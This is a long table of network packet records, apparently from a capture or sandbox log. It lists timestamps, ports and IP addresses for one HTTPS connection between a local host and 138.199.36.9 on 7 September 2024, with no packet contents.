Sep 7, 2024 23:15:30.225758076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.225776911 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.225836039 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.225842953 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.225871086 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.226006031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.226020098 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.226083040 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.226088047 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.226135969 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.226458073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.226476908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.226525068 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.226533890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.226576090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.227246046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.227261066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.227318048 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.227334976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.227416039 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.237406969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.237426996 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.237500906 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.237525940 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.237571001 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.313225031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.313247919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.313313961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.313357115 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.313376904 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.313397884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.313591003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.313606977 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.313663960 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.313672066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.313855886 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.313896894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.313911915 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.313957930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.313963890 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.314119101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.314201117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.314217091 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.314261913 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.314266920 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.314317942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.314579010 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.314593077 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.314641953 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.314647913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.314716101 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.315007925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.315022945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.315066099 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.315072060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.315227985 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.315856934 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.315876961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.315958023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.315968037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.316133022 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402009964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402030945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402096033 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402129889 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402168989 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402172089 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402182102 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402203083 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402213097 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402220011 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402231932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402261972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402353048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402365923 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402400970 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402406931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402434111 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402455091 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402482986 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402502060 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402524948 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402537107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402555943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402581930 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402755976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402776003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402817965 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402825117 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.402833939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.402861118 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.403816938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.403831959 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.403879881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.403887987 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.403928995 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.404084921 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.404098988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.404146910 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.404153109 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.404261112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.404375076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.404391050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.404439926 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.404445887 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.404478073 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.490605116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.490626097 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.490683079 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.490721941 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.490742922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.490869045 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.490946054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.490962029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491007090 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.491013050 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491148949 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491168976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491194963 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.491200924 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491229057 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.491244078 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.491451979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491466999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491522074 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.491527081 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491556883 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.491615057 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491631031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491677999 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.491683960 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.491719961 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.492362022 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.492381096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.492429018 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.492436886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.492487907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.492762089 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.492778063 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.492821932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.492829084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.493031025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.494016886 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.494031906 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.494086981 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.494100094 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.494168997 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.579077005 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.579092979 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.579155922 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.579180002 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.579243898 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.579410076 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.579423904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.579478979 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.579485893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.579511881 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.579528093 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.579722881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.579742908 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.579786062 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.579792976 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.579814911 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.579830885 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.579978943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.579992056 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.580035925 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.580040932 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.580075026 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.580358028 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.580372095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.580415010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.580420017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.580488920 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.580770016 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.580784082 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.580842972 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.580852032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.580899954 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.581334114 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.581347942 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.581398010 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.581403971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.581548929 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.582484007 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.582496881 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.582556009 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.582561970 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.582612991 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.667653084 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.667669058 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.667735100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.667757988 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.667825937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.667845964 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.667876959 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.667882919 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.667902946 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.667928934 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.668222904 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.668236971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.668276072 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.668282032 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.668315887 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.668332100 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.668433905 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.668447971 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.668500900 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.668507099 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.668593884 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.668771029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.668785095 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.668838978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.668844938 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.669049978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.669353008 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.669365883 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.669404984 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.669410944 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.669435978 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.669454098 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.669720888 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.669735909 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.669785023 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.669790983 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.669857025 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.671176910 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.671191931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.671256065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.671262026 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.671312094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.756215096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.756238937 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.756292105 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.756324053 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.756340981 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.756396055 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.756510019 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.756510973 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.756942034 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.756957054 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757020950 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757024050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.757045031 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757070065 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757085085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.757119894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.757132053 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757184029 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.757380962 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757401943 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757447958 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.757458925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757488966 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.757505894 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.757760048 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757777929 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757832050 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.757844925 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.757901907 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.758313894 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.758330107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.758384943 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.758410931 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.758475065 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.759654999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.759684086 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.759748936 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.759762049 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.759864092 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.844921112 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.844944000 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.845016956 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.845045090 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.845098019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.845118999 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.845148087 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.845160961 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.845181942 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.845199108 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.845906973 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.845921040 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.845976114 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.845983982 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.846216917 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.846421003 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.846434116 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.846497059 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.846502066 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.846558094 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.846868038 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.846880913 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.846924067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.846929073 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.847004890 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.847218990 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.847232103 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.847289085 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.847295046 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.847484112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.848582029 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.848596096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.848650932 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.848656893 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.848706007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.849205017 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.849220037 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.849272013 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.849278927 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.849327087 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.937968969 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.937994957 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.938052893 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.938076019 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.938102007 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.938122034 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.940092087 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940107107 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940160990 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.940169096 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940202951 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.940316916 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940331936 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940390110 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.940397024 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940408945 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940431118 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940439939 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.940447092 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940462112 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.940499067 CEST	49706	443	192.168.2.8	138.199.36.9
Sep 7, 2024 23:15:30.940692902 CEST	443	49706	138.199.36.9	192.168.2.8
Sep 7, 2024 23:15:30.940706968 CEST	443	49706	138.199.36.9	192.168.2.8
